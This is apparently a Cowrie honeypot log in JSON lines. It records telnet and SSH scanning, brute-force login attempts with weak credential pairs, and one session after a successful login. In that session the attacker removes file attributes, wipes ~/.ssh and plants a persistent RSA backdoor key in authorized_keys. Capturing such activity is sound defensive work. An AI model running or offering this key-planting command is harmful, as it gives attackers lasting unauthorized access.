{"eventid":"cowrie.session.closed","duration":31.3332576751709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:32.827583Z","src_ip":"162.248.7.67","session":"df4ce21f174a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41442,"dst_ip":"159.203.135.109","dst_port":23,"session":"b63cd9f27cc9","protocol":"telnet","message":"New connection: 162.248.7.67:41442 (159.203.135.109:23) [session: b63cd9f27cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:33.840352Z"}
{"eventid":"cowrie.session.closed","duration":30.29697322845459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:34.400821Z","src_ip":"162.248.7.67","session":"c58be5840c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32461452484131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:35.425833Z","src_ip":"162.248.7.67","session":"c707dcf7cf4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873263835906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:35.467818Z","src_ip":"162.248.7.67","session":"d1162c31045d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66cdfcce8c1","protocol":"telnet","message":"New connection: 162.248.7.67:41980 (159.203.135.109:23) [session: a66cdfcce8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:35.693573Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":42884,"dst_ip":"159.203.135.109","dst_port":23,"session":"403c2ff940d1","protocol":"telnet","message":"New connection: 162.248.7.67:42884 (159.203.135.109:23) [session: 403c2ff940d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:36.055957Z"}
{"eventid":"cowrie.session.closed","duration":30.326207876205444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:37.461493Z","src_ip":"162.248.7.67","session":"32551ad2e10d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51084589958191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:38.610551Z","src_ip":"162.248.7.67","session":"6db7d88c3856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.05547571182251,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:38.728075Z","src_ip":"137.184.155.248","session":"a1de3a33000c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99284029006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:39.813067Z","src_ip":"162.248.7.67","session":"720205fc3ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93444538116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:39.819462Z","src_ip":"162.248.7.67","session":"f6f674555d27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35656189918518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:41.940806Z","src_ip":"162.248.7.67","session":"06d76178d914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":48346,"dst_ip":"159.203.135.109","dst_port":23,"session":"00bbc250eab5","protocol":"telnet","message":"New connection: 162.248.7.67:48346 (159.203.135.109:23) [session: 00bbc250eab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:43.462256Z"}
{"eventid":"cowrie.session.closed","duration":31.14732527732849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:43.633035Z","src_ip":"162.248.7.67","session":"6c9848d4d98b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":48716,"dst_ip":"159.203.135.109","dst_port":23,"session":"1beb9ec1800d","protocol":"telnet","message":"New connection: 162.248.7.67:48716 (159.203.135.109:23) [session: 1beb9ec1800d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:44.958603Z"}
{"eventid":"cowrie.session.closed","duration":31.05047369003296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:45.621209Z","src_ip":"162.248.7.67","session":"f63f25ece25e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352442026138306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:46.254496Z","src_ip":"162.248.7.67","session":"b3078b8ff5f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809479475021362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:48.075847Z","src_ip":"162.248.7.67","session":"1281078601ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764492988586426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:48.912629Z","src_ip":"162.248.7.67","session":"8cba3d735697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75849962234497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:49.254395Z","src_ip":"162.248.7.67","session":"c1184c677b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313764810562134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:50.507903Z","src_ip":"162.248.7.67","session":"51689be45370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36516237258911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:50.614204Z","src_ip":"162.248.7.67","session":"d6e1c614d680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":53620,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ae1ac1bcb9","protocol":"telnet","message":"New connection: 162.248.7.67:53620 (159.203.135.109:23) [session: 92ae1ac1bcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:51.104620Z"}
{"eventid":"cowrie.session.closed","duration":30.4971981048584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:51.428271Z","src_ip":"162.248.7.67","session":"cb734af78b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95736837387085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:51.464077Z","src_ip":"162.248.7.67","session":"11eac5fc8d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.281267404556274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:51.906791Z","src_ip":"162.248.7.67","session":"a60cf7207536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":62862,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd11d0798f30","protocol":"ssh","message":"New connection: 178.27.90.142:62862 (159.203.135.109:22) [session: fd11d0798f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:52.222461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:52.227113Z","src_ip":"178.27.90.142","session":"fd11d0798f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:52.327609Z","src_ip":"178.27.90.142","session":"fd11d0798f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail","message":"login attempt [testmail/testmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:52.768731Z","src_ip":"178.27.90.142","session":"fd11d0798f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:53.875615Z","src_ip":"178.27.90.142","session":"fd11d0798f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57844,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89211a377e4","protocol":"telnet","message":"New connection: 137.184.155.248:57844 (10.17.0.5:23) [session: b89211a377e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:55.733953Z"}
{"eventid":"cowrie.session.closed","duration":31.379744291305542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:55.878319Z","src_ip":"162.248.7.67","session":"7993f17ff0e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57854,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f5d880c9e1","protocol":"telnet","message":"New connection: 137.184.155.248:57854 (10.17.0.5:23) [session: 52f5d880c9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:56.891163Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57856,"dst_ip":"10.17.0.5","dst_port":23,"session":"13233e82d6c5","protocol":"telnet","message":"New connection: 137.184.155.248:57856 (10.17.0.5:23) [session: 13233e82d6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:57.465624Z"}
{"eventid":"cowrie.session.closed","duration":30.967827081680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:57.709302Z","src_ip":"162.248.7.67","session":"571398d62b61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":58308,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc1c5bf679df","protocol":"telnet","message":"New connection: 162.248.7.67:58308 (159.203.135.109:23) [session: dc1c5bf679df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:58.470953Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":33960,"dst_ip":"159.203.135.109","dst_port":22,"session":"16045c9b0670","protocol":"ssh","message":"New connection: 43.157.98.118:33960 (159.203.135.109:22) [session: 16045c9b0670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:59.205696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:59.210588Z","src_ip":"43.157.98.118","session":"16045c9b0670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:59.297852Z","src_ip":"43.157.98.118","session":"16045c9b0670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123ASD","message":"login attempt [root/qwe123ASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:59.975905Z","src_ip":"43.157.98.118","session":"16045c9b0670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.085655689239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:00.440722Z","src_ip":"162.248.7.67","session":"004b8885d8da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:01.068459Z","src_ip":"43.157.98.118","session":"16045c9b0670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.887863636016846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:02.490262Z","src_ip":"162.248.7.67","session":"32bbc3a48902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34946,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47868369910","protocol":"telnet","message":"New connection: 162.248.7.67:34946 (159.203.135.109:23) [session: d47868369910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:04.120484Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":32954,"dst_ip":"159.203.135.109","dst_port":23,"session":"00f16d73a581","protocol":"telnet","message":"New connection: 162.248.7.67:32954 (159.203.135.109:23) [session: 00f16d73a581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:04.369825Z"}
{"eventid":"cowrie.session.closed","duration":31.5105938911438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:05.350848Z","src_ip":"162.248.7.67","session":"b63cd9f27cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":35830,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cd748967ed4","protocol":"telnet","message":"New connection: 162.248.7.67:35830 (159.203.135.109:23) [session: 3cd748967ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:05.512105Z"}
{"eventid":"cowrie.session.closed","duration":30.415595769882202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:06.471411Z","src_ip":"162.248.7.67","session":"403c2ff940d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788097143173218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:06.481410Z","src_ip":"162.248.7.67","session":"a66cdfcce8c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":35592,"dst_ip":"10.17.0.5","dst_port":22,"session":"394d150ed66b","protocol":"ssh","message":"New connection: 203.90.110.186:35592 (10.17.0.5:22) [session: 394d150ed66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:07.659874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:07.665188Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:07.878252Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"Welcome1","message":"login attempt [steam/Welcome1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:08.754846Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:09.232112Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:09.236228Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:09.241878Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:09.459676Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:09.929171Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:09.933090Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:10.155135Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:10.159638Z","src_ip":"203.90.110.186","session":"394d150ed66b","protocol":"ssh"}
